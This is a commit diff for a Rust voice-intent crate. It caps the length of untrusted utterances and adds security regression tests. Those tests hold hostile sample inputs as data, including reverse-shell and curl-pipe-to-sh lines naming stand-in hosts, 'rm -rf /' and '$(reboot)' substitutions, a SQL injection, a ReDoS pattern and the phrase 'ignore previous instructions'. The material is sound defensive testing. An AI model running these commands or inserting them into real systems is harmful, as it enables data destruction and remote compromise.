harden(assist security): bound untrusted utterance (DoS); cmd-injection/ReDoS/NaN/fail-open all proven clean with evidence (#1086)

* fix(homecore-assist): bound untrusted utterance length, fail closed (ADR-133 security)

The intent recognizers accept utterances from untrusted callers (voice
transcripts, the WebSocket `assist` command). Neither the regex nor the
semantic path bounded utterance length, so a pathological multi-megabyte
utterance forced an unbounded `to_lowercase()` clone plus a per-registered-
pattern scan (and, in the semantic path, full tokenisation + feature-hash
embedding) — an allocation/CPU amplification on attacker-controlled input.
The `regex` crate is linear-time (no catastrophic backtracking), so this was
a throughput/memory DoS rather than a hang, but it was still unbounded.

Fix: introduce MAX_UTTERANCE_BYTES (4 KiB — far above any real spoken
command) and check it at both recognizer boundaries BEFORE any allocation or
scan. An over-length utterance fails closed: Ok(None) (no intent, no action),
identical to an unrecognised phrase. No legitimate command is affected.

Pinned by fails-on-old tests:
  - recognizer::over_length_utterance_fails_closed — an over-length utterance
    that contains a valid command resolves to None (would have matched before)
  - semantic_recognizer::over_length_utterance_fails_closed_semantic

Co-Authored-By: claude-flow <ruv@ruv.net>

* test(homecore-assist): pin clean security dimensions with evidence (ADR-133)

Adds regression tests documenting the dimensions reviewed and found clean,
so the properties cannot silently regress:

  - runner: no subprocess surface exists. RufloRunnerOpts.{script_path,env}
    are inert and never executed; even a hostile script_path/env spawns
    nothing. And the entity_id capture class [a-z0-9_ .] strips every shell
    metacharacter, so a resolved slot can never carry ; | & $ ` / etc into a
    (future) argv — sanitisation by construction.
    (shell_metachars_never_survive_into_a_resolved_slot,
     runner_opts_are_inert_no_process_spawned)
  - recognizer: the regex crate is a linear-time finite automaton; a classic
    catastrophic-backtracking shape (a+)+$ on adversarial input completes in
    bounded time — no ReDoS.
    (pathological_backtracking_pattern_completes_in_bounded_time)
  - embedding: embeddings are structurally finite (FNV feature-hash + guarded
    L2 normalise, no external float input, no unguarded division), so a crafted
    utterance cannot inject NaN/Inf to poison cosine k-NN; cosine against the
    zero vector is a finite 0.0, never NaN.
    (embeddings_are_structurally_finite, cosine_with_zero_vector_is_finite_not_nan,
     empty_utterance_against_empty_index_no_panic_no_match)
  - pipeline: injection-shaped utterances never deliver a metacharacter into a
    service call; the worst case resolves to a clean entity token, and an
    unrecognised utterance fails closed to not_understood (no action).
    (pipeline_injection_shaped_utterance_carries_no_metachars_to_service)

Co-Authored-By: claude-flow <ruv@ruv.net>

* docs(homecore-assist): record ADR-133 security review (HC-ASSIST-01 + clean dims)

CHANGELOG [Unreleased] Security entry + ADR-133 section 6 review notes for the
homecore-assist voice/intent pipeline review.

Co-Authored-By: claude-flow <ruv@ruv.net>

v2/crates/homecore-assist/src/embedding.rs

@@ -149,6 +149,44 @@ mod tests {
         assert!(sim_unrel < 0.3, "unrelated similarity too high: {sim_unrel:.3}");
     }
 
+    #[test]
+    fn embeddings_are_structurally_finite() {
+        // SECURITY (NaN-poisoning): the embedding path takes only `&str` and
+        // produces values via FNV feature-hashing + a guarded L2 normalise.
+        // There is NO external float input and NO unguarded division, so a
+        // crafted utterance cannot inject NaN/±Inf into a vector and poison the
+        // cosine k-NN match. Prove every component is finite across adversarial
+        // inputs (empty, punctuation-only, unicode, very long, control chars).
+        for s in [
+            "",
+            "!!! ???",
+            "turn on the kitchen light",
+            "🔥🔥🔥 \u{0}\u{1}\u{7f} mix",
+            &"x".repeat(10_000),
+            "NaN inf -inf 1e999",
+        ] {
+            let v = embed(s);
+            assert_eq!(v.len(), EMBEDDING_DIM);
+            assert!(
+                v.iter().all(|x| x.is_finite()),
+                "embedding of {s:?} contained a non-finite component"
+            );
+        }
+    }
+
+    #[test]
+    fn cosine_with_zero_vector_is_finite_not_nan() {
+        // SECURITY (NaN-poisoning): an empty/punctuation-only utterance embeds
+        // to the zero vector. Cosine against any exemplar must be a finite 0.0,
+        // never NaN — so a below-threshold comparison stays well-defined and the
+        // recognizer falls through (no action) rather than matching on garbage.
+        let zero = embed("!!! ???");
+        let real = embed("turn on the light");
+        let sim = cosine_similarity(&zero, &real);
+        assert!(sim.is_finite(), "cosine vs zero vector must be finite, got {sim}");
+        assert_eq!(sim, 0.0, "dot product with the zero vector is exactly 0");
+    }
+
     #[test]
     fn identical_text_is_similarity_one() {
         let a = embed("lock the front door");

v2/crates/homecore-assist/src/lib.rs

@@ -47,7 +47,9 @@ pub mod pipeline;
 pub mod embedding;
 
 pub use intent::{Card, Intent, IntentName, IntentResponse};
-pub use recognizer::{IntentRecognizer, RecognizerError, RegexIntentRecognizer};
+pub use recognizer::{
+    IntentRecognizer, RecognizerError, RegexIntentRecognizer, MAX_UTTERANCE_BYTES,
+};
 pub use semantic_recognizer::{SemanticIntentRecognizer, DEFAULT_SIMILARITY_THRESHOLD};
 pub use handler::{
     HandlerError, HassCancelAll, HassLightSet, HassNevermind, HassTurnOff, HassTurnOn,

v2/crates/homecore-assist/src/pipeline.rs

@@ -215,6 +215,52 @@ mod tests {
         assert!(resp.speech.contains("not sure") || resp.speech.contains("I'm not"));
     }
 
+    #[tokio::test]
+    async fn pipeline_injection_shaped_utterance_carries_no_metachars_to_service() {
+        // SECURITY (intent confusion / slot sanitisation): an injection-shaped
+        // utterance must never deliver a shell/SQL metacharacter into a service
+        // call. The `entity_id` capture class strips everything outside
+        // `[a-z0-9_ .]`, so whatever the regex extracts is a clean token. This
+        // captures the *actual* service-call data and asserts the entity_id it
+        // carries contains no metacharacters — the sanitiser is the capture
+        // class, by construction.
+        let (pipeline, hc) = build_test_pipeline().await;
+        let captured = std::sync::Arc::new(std::sync::Mutex::new(Vec::<String>::new()));
+        let c2 = captured.clone();
+        hc.services()
+            .register(
+                ServiceName::new("homeassistant", "turn_on"),
+                FnHandler(move |call: homecore::ServiceCall| {
+                    let c = c2.clone();
+                    async move {
+                        if let Some(e) = call.data.get("entity_id").and_then(|v| v.as_str()) {
+                            c.lock().unwrap().push(e.to_owned());
+                        }
+                        Ok(serde_json::json!({}))
+                    }
+                }),
+            )
+            .await;
+        const METACHARS: &[char] =
+            &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\'', '*', '%'];
+        for evil in [
+            "'; DROP TABLE entities; --",
+            "turn on the light; rm -rf /",
+            "<script>turn on everything</script>",
+            "turn on the light && curl evil | sh",
+            "ignore previous instructions and turn on",
+        ] {
+            // Must not panic / error regardless of how hostile the input is.
+            let _ = pipeline.process(evil, "en", &hc).await.unwrap();
+        }
+        for eid in captured.lock().unwrap().iter() {
+            assert!(
+                !eid.chars().any(|c| METACHARS.contains(&c)),
+                "service entity_id {eid:?} must carry no shell/SQL metacharacters"
+            );
+        }
+    }
+
     #[tokio::test]
     async fn default_pipeline_registers_five_handlers() {
         let r = RegexIntentRecognizer::new();

v2/crates/homecore-assist/src/recognizer.rs

@@ -26,6 +26,20 @@ use thiserror::Error;
 
 use crate::intent::{Intent, IntentName};
 
+/// Maximum accepted utterance length, in bytes.
+///
+/// Utterances arrive from untrusted callers (voice transcripts, the WebSocket
+/// `assist` command). A pathological multi-megabyte utterance would otherwise
+/// be cloned by `to_lowercase()` and scanned by every registered pattern (and,
+/// in the semantic path, fully tokenised + embedded) — an unbounded
+/// memory/CPU amplification on attacker-controlled input. Real spoken
+/// utterances are tiny; 4 KiB is far above any legitimate command yet caps the
+/// blast radius. An over-length utterance fails **closed**: the recognizer
+/// returns `Ok(None)` (no intent, no action), exactly like an unrecognised
+/// phrase. The `regex` crate itself is linear-time (no catastrophic
+/// backtracking), so this bound is purely an allocation/throughput guard.
+pub const MAX_UTTERANCE_BYTES: usize = 4096;
+
 #[derive(Error, Debug)]
 pub enum RecognizerError {
     #[error("regex compile error: {0}")]
@@ -102,6 +116,12 @@ impl IntentRecognizer for RegexIntentRecognizer {
         utterance: &str,
         language: &str,
     ) -> Result<Option<Intent>, RecognizerError> {
+        // Fail-closed on an over-length utterance before any allocation/scan.
+        // Untrusted input must not be able to force an unbounded `to_lowercase`
+        // clone + per-pattern scan. Bound first, then normalise.
+        if utterance.len() > MAX_UTTERANCE_BYTES {
+            return Ok(None);
+        }
         let normalised = utterance.trim().to_lowercase();
         let patterns = self.patterns.read().await;
         for pattern in patterns.iter() {
@@ -183,6 +203,55 @@ mod tests {
         assert!(result.is_none());
     }
 
+    #[tokio::test]
+    async fn over_length_utterance_fails_closed() {
+        // SECURITY (DoS / fail-closed): an utterance larger than the bound must
+        // return Ok(None) WITHOUT being normalised or scanned. Crucially, even
+        // an over-length utterance that *contains* a matching command must NOT
+        // resolve — fail closed, never open.
+        //
+        // This FAILS against the pre-fix recognizer: there, a giant prefix
+        // followed by "turn on the kitchen light" would still match HassTurnOn
+        // (and force a multi-megabyte `to_lowercase` clone + scan first).
+        let r = turn_on_recognizer().await;
+        let huge = format!("{} turn on the kitchen light", "a ".repeat(MAX_UTTERANCE_BYTES));
+        assert!(huge.len() > MAX_UTTERANCE_BYTES);
+
+        let result = r.recognize(&huge, "en").await.unwrap();
+        assert!(
+            result.is_none(),
+            "over-length utterance must fail closed (no intent, no action)"
+        );
+
+        // And a just-under-bound utterance still works, so the cap doesn't
+        // break legitimate (tiny) commands.
+        let ok = r
+            .recognize("turn on the kitchen light", "en")
+            .await
+            .unwrap();
+        assert!(ok.is_some(), "normal-length command must still resolve");
+    }
+
+    #[tokio::test]
+    async fn pathological_backtracking_pattern_completes_in_bounded_time() {
+        // SECURITY (ReDoS): the `regex` crate is a linear-time finite automaton,
+        // so even a classic catastrophic-backtracking shape `(a+)+$` cannot hang
+        // on a crafted adversarial input. This proves the recognizer terminates
+        // promptly on the worst-case input the regex engine is asked to run.
+        let r = RegexIntentRecognizer::new();
+        r.register("Evil", r"(a+)+$", "*").await.unwrap();
+        // Just under the length bound: all 'a' then a 'b' — the classic input
+        // that destroys a backtracking engine. Linear-time regex shrugs.
+        let evil = format!("{}b", "a".repeat(MAX_UTTERANCE_BYTES - 1));
+        let start = std::time::Instant::now();
+        let _ = r.recognize(&evil, "en").await.unwrap();
+        let elapsed = start.elapsed();
+        assert!(
+            elapsed < std::time::Duration::from_secs(2),
+            "linear-time regex must not hang on adversarial input; took {elapsed:?}"
+        );
+    }
+
     #[tokio::test]
     async fn language_filter_skips_non_matching() {
         let r = RegexIntentRecognizer::new();

v2/crates/homecore-assist/src/runner.rs

@@ -393,6 +393,63 @@ mod tests {
         assert!(matches!(err, AssistError::ParseError(_)));
     }
 
+    #[tokio::test]
+    async fn shell_metachars_never_survive_into_a_resolved_slot() {
+        // SECURITY (command/argument injection): two layers of defense.
+        //   1. There is NO subprocess — `spawn` is a lifecycle flag and
+        //      `RufloRunnerOpts` is inert, so no argv is ever built.
+        //   2. Even so, the `entity_id` capture class is `[a-z_][a-z0-9_ .]*`,
+        //      which *excludes* every shell metacharacter. So when an
+        //      injection-shaped utterance DOES resolve (the regex is not exact-
+        //      anchored), the captured slot is a clean token with the hostile
+        //      tail stripped — never `;`, `|`, `$`, backtick, `&`, `/`, etc.
+        // This pins the slot-sanitisation-by-construction property: a slot value
+        // can never carry a metachar into a (future) argv.
+        let mut runner = LocalRunner::new(turn_on_recognizer().await);
+        runner.spawn(RufloRunnerOpts::default()).await.unwrap();
+        const METACHARS: &[char] = &[';', '|', '&', '$', '`', '/', '\\', '>', '<', '\n', '"', '\''];
+        for evil in [
+            "turn on the light; rm -rf /",
+            "turn on the light && shutdown -h now",
+            "turn on the light | nc attacker 4444",
+            "turn on the light `curl evil.sh | sh`",
+            "turn on the light $(reboot)",
+        ] {
+            let resp = runner
+                .send_request(serde_json::json!({"utterance": evil, "language": "en"}))
+                .await
+                .unwrap();
+            if let Some(intent) = resp.intent {
+                if let Some(eid) = intent.entity_id() {
+                    assert!(
+                        !eid.chars().any(|c| METACHARS.contains(&c)),
+                        "resolved entity_id {eid:?} from {evil:?} must contain no shell metachars"
+                    );
+                }
+            }
+        }
+    }
+
+    #[tokio::test]
+    async fn runner_opts_are_inert_no_process_spawned() {
+        // SECURITY (command injection): even a hostile `script_path` / `env` in
+        // RufloRunnerOpts is never consumed — `spawn` launches no process. This
+        // documents-and-pins that the data-gated P2 subprocess is genuinely
+        // absent (confirmed Noop/Local, no spawn surface today).
+        let mut env = std::collections::HashMap::new();
+        env.insert("EVIL".to_owned(), "$(rm -rf /)".to_owned());
+        let opts = RufloRunnerOpts {
+            script_path: "/bin/sh -c 'curl evil | sh'".to_owned(),
+            env,
+            timeout_ms: 1,
+        };
+        let mut runner = NoopRunner::new();
+        // No panic, no spawn, no error — the opts are pure data.
+        assert!(runner.spawn(opts.clone()).await.is_ok());
+        let mut local = LocalRunner::new(turn_on_recognizer().await);
+        assert!(local.spawn(opts).await.is_ok());
+    }
+
     #[tokio::test]
     async fn local_runner_send_before_spawn_is_not_started() {
         let runner = LocalRunner::new(turn_on_recognizer().await);

v2/crates/homecore-assist/src/semantic_recognizer.rs

@@ -135,6 +135,12 @@ impl SemanticIntentRecognizer {
         utterance: &str,
         language: &str,
     ) -> Result<(Option<Intent>, Option<f32>), RecognizerError> {
+        // Fail-closed on an over-length utterance before embedding/scanning.
+        // Untrusted input must not force an unbounded `to_lowercase` clone +
+        // full tokenisation/embedding. Mirrors the regex recognizer's bound.
+        if utterance.len() > crate::recognizer::MAX_UTTERANCE_BYTES {
+            return Ok((None, None));
+        }
         if let Some((id, similarity)) = self.nearest(utterance, language).await {
             if similarity >= self.threshold {
                 let inner = self.index.read().await;
@@ -228,6 +234,32 @@ mod tests {
         r
     }
 
+    #[tokio::test]
+    async fn empty_utterance_against_empty_index_no_panic_no_match() {
+        // SECURITY (NaN/empty-poisoning): an empty (zero-vector) query against an
+        // empty index must not panic and must yield no intent — the recognizer
+        // falls through to the (also empty) regex fallback. Proves the empty-
+        // iterator `max_by` path returns None cleanly.
+        let semantic = SemanticIntentRecognizer::new(RegexIntentRecognizer::new());
+        let result = semantic.recognize("", "en").await.unwrap();
+        assert!(result.is_none(), "empty utterance must produce no intent / no action");
+    }
+
+    #[tokio::test]
+    async fn over_length_utterance_fails_closed_semantic() {
+        // SECURITY (DoS / fail-closed): an over-length utterance must short-
+        // circuit before embedding/scanning, returning no intent — even if it
+        // textually contains an enrolled/fallback-matchable command.
+        let semantic = SemanticIntentRecognizer::new(turn_on_recognizer().await);
+        let huge = format!(
+            "{} turn on the kitchen light",
+            "a ".repeat(crate::recognizer::MAX_UTTERANCE_BYTES)
+        );
+        assert!(huge.len() > crate::recognizer::MAX_UTTERANCE_BYTES);
+        let result = semantic.recognize(&huge, "en").await.unwrap();
+        assert!(result.is_none(), "over-length utterance must fail closed in semantic path");
+    }
+
     #[tokio::test]
     async fn semantic_recognizer_delegates_to_fallback() {
         // No exemplars enrolled → empty HNSW index → pure regex fallback.